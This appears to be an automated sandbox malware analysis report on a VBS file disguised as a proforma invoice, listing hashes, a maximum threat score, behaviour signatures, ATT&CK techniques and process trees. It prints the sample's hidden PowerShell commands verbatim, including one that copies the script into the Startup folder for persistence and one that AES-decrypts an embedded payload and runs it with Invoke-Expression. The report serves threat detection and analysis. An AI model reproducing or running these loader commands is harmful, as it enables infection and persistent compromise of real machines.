d34d42aa33ae8ec42412fdf1233494466051e7fbc21c67db899f0472f0df6ce4

Analysis

max time kernel
149s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 13:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ProformaInvoice-5628-1.vbs
Size 1.8MB
Sample260623-qs772ac19r
SHA256 d34d42aa33ae8ec42412fdf1233494466051e7fbc21c67db899f0472f0df6ce4
MD5 e5526e1c62261081164cf81dbf5928eb
SHA1 f66c792f4f42ee9e186f067fe48f557a3dcb63e3
SHA512 42ac8048308a26b4091ae9b4617a3d3ae702f121842d00b97171737e2941a189009938854e72f6baeb9986abb90abe03c486eabf030caa3c27e1cdb4ef94453b
SSDEEP 192:/NCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCJ:meKtP1z6EODzMO0+qfGlkcXBjoj
TLSH
T1B0956D214A2BAC82F2352E4101F96BE4CBD8ADF19B5F51CB80C95FE678E1D35609F5E0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6216	5912	powershell.exe	91

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5708	powershell.exe
6216	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ProformaInvoice-5628-1.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 6216 set thread context of 6772	6216	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
5708	powershell.exe
5708	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6216	powershell.exe
6772	Caspol.exe
6772	Caspol.exe
6772	Caspol.exe
6772	Caspol.exe
6772	Caspol.exe
6772	Caspol.exe
6772	Caspol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5708	powershell.exe
Token: SeDebugPrivilege	6216	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 6936 wrote to memory of 5708	6936	WScript.exe	89
PID 6216 wrote to memory of 6620	6216	powershell.exe	94
PID 6216 wrote to memory of 6708	6216	powershell.exe	95
PID 6216 wrote to memory of 6772	6216	powershell.exe	96
PID 6216 wrote to memory of 6772	6216	powershell.exe	96
PID 6216 wrote to memory of 6772	6216	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ProformaInvoice-5628-1.vbs"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:6936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\ProformaInvoice-5628-1.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ProformaInvoice-5628-1.vbs' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "try { $comfestue = [System.Text.Encoding]::UTF8.GetBytes('2Dn3Ttp75eQGlfU4'); if ($comfestue.Length -lt 32) { $comfestue = $comfestue + (0..(31 - $comfestue.Length)) }; $isomaltose = [Convert]::FromBase64String('jjut+oki+cOFqHfyGMDxL+CyUBwAR0NxtaEowkZNFq5uY9PmmJZzFRXXJuKfn2dpF7PG8UeFyoRKX80YmQeA+JsWiK1NCYXA+0oEp2JHwO6+oXsAWqUxGK1ioAxHNkByatRWlXZARDE4dDCDVA+tQt3VfH+19ABGJ85BHGw1yICKDuqxqTBBoFDZfcpl63oUh18+6ICwCw5WOwDEjdpZ2Wv25C64Ho40fqucYfcX03VY0Ldo3+5hrXpb3D4kBhhqxWGisL6meS89uZ0T8fuROqh6GsMPOoC0Ow0IMhPbyKaDQCOaxD/A+qz2TcvvzzRTXso+AOof5/iqyA9VlcfsOxWgJu8SftVO5lUD4nzfyWz+1Z4jQLTUMr1gRMjMNyqBleOgqDtTQhkfj2t0RQyWlzkFKGztM8xu7MS6shRMeh5N8bkf09DxBbAnPOAJ/GE516g7G+SV6YQKCi/pT5ptXeum8FCGUtE8kC8uA0Jw7Z3Kt0F3lmXUh+3elR3CEFRZ3bDtWfjemE2C1gxQI3K5QVOSUK69g3hpG202YZLEUrxJmMIDYcZjIUXc2t3J/uBmSwzZ7V7AMH30DnzUHt0Jaa71+skr5ceerL1r9SfgTGkCaKtIoD/m1wkxGGK3CVr9IlP6EwvarFZzU8g5gIBvs1LE6evINw19wlow265yfc3j3MHvuYVDhDK/7adMi4Ver4bwQHOl8b7zaXYY034Oo+m0y+7LK3M44I9V1Y8a/UmZ2gUazCA/BxH3DrgRLmsvPrF4dNV+YXqOPRFH9npoho/w62p+kRd9hxpEWTdxOWrkmrkmKcVuLgll9AmHWguAuor1Rmof/+KEFOHWACUrH6ETRUGuxgT7+XVGKhnr5l4wL/nM+myj3jrMBatmU13CSOBhwLrKrO67Ya64aVB9wLUwo2qCOHwM0H/JvJOPftdbyxsKP4qPr2eeyReXCHm1xvnNEGySpKb1yeIVhUgJ/2JjRgIecZd0nQ1PUhG01c3am36MNGgrYWOt68RJXl9kbiFmgOPXb/wEBoWBAqrl26BiZalVqz56QZUqA1B+w07fJZUqwLJTv+AGhhbPvoY5uexWouUWVByX0gbxk5OySKctVz1LHrXr9PTcfDtCzi9YUWtx33jUImipWKb6c3mUUxMQzawkc7SYIvDwVpzIoZ4ahDeHQbmxuX8GYIOxz851ELAApqDkibUg6zLbJ+ILLhQsYW5uUSqn3tg6jZwlHdTJrmFnpEfurADul4uaJZbA2pAUmUip3YLl2lrdVycnIKP0Ree/R5ra6O+GkHFVKYz8GAMrly7uKAobFjgos853ZBk/CR0xptNmhyDVqtNRxuShAv08R2olf1doh56gdeFgMR01B1D4Aq1/q/0bhPoCol61b1D/i7UD+9br084AepRJ5kRAqJqQgAhJGw/IJs25IlQvY2EXuS30Fv+gqdrh9dpNO9Vnve7m0Fa4X04Y4MOlkeKKgnZt3U1k93rcvacqu/n6D0TccVGKdnm82An+6fr8e6EzNoqpSypLszXfHAemSoO0M+gZWIZ0eOClbymKFmtS6cIDTbNInj8ni6pEo8ENDzDBmT0Dtlpti8bFx92tVEeNaELaFPNwyYjpbx6ZA1fvTiJOimitpeVVetWxdw1GvZNB0FQ7dMzo34u2+PrdHcJq7dB5XqBcWemPalvpJmqjDf+rcCxIRDAWOJs='); $gigaamps = $isomaltose[0..15]; $reidentified = $isomaltose[16..($isomaltose.Length-1)]; $thinly = [System.Security.Cryptography.Aes]::Create(); $thinly.Key = $comfestue; $thinly.IV = $gigaamps; $otolite = $thinly.CreateDecryptor(); $bonibell = $otolite.TransformFinalBlock($reidentified, 0, $reidentified.Length); $roentgenoscopes = [System.Text.Encoding]::UTF8.GetString($bonibell); Invoke-Expression $roentgenoscopes; } catch {}"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6216
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:6620
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:6708
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d88dd9fa42a06b3318f7d1edbe206b8e71a885579ef2dc68128447912841a5b8
MD5 0a1b0cd037edfa69c1b163487eddf1aa
SHA1 382e078f387e2c108126b606617ffa9d4a244078
SHA512 c20e2c1fe47d29e8f817d506a41ade67b813a0940e906579c4e1c7f13e499ba30143ee99ab746208cdc5458225315c7a1e34cc96036bbf5f44a272b6d810d5b8
TLSH
T16C115733B3CC8724C89A403650CEAC1036B587DB509ECE6BBB84D144B43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_i3mfc2eg.sjx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i3mfc2eg.sjx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5708-20-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-7-0x0000020B70240000-0x0000020B70262000-memory.dmp

Download

memory/5708-8-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-10-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-11-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-12-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-13-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-14-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-15-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-16-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-17-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-18-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/5708-0-0x00007FFEC5A1F000-0x00007FFEC5A20000-memory.dmp

Download

memory/5708-6-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-33-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-35-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-27-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-31-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-32-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-26-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-34-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-30-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-36-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-37-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-38-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6216-39-0x000002C77A0F0000-0x000002C77A212000-memory.dmp

Download

memory/6216-40-0x000002C779BC0000-0x000002C779BCA000-memory.dmp

Download

memory/6216-43-0x00007FFEC5890000-0x00007FFEC6234000-memory.dmp

Download

memory/6772-41-0x0000000000400000-0x0000000000446000-memory.dmp

Download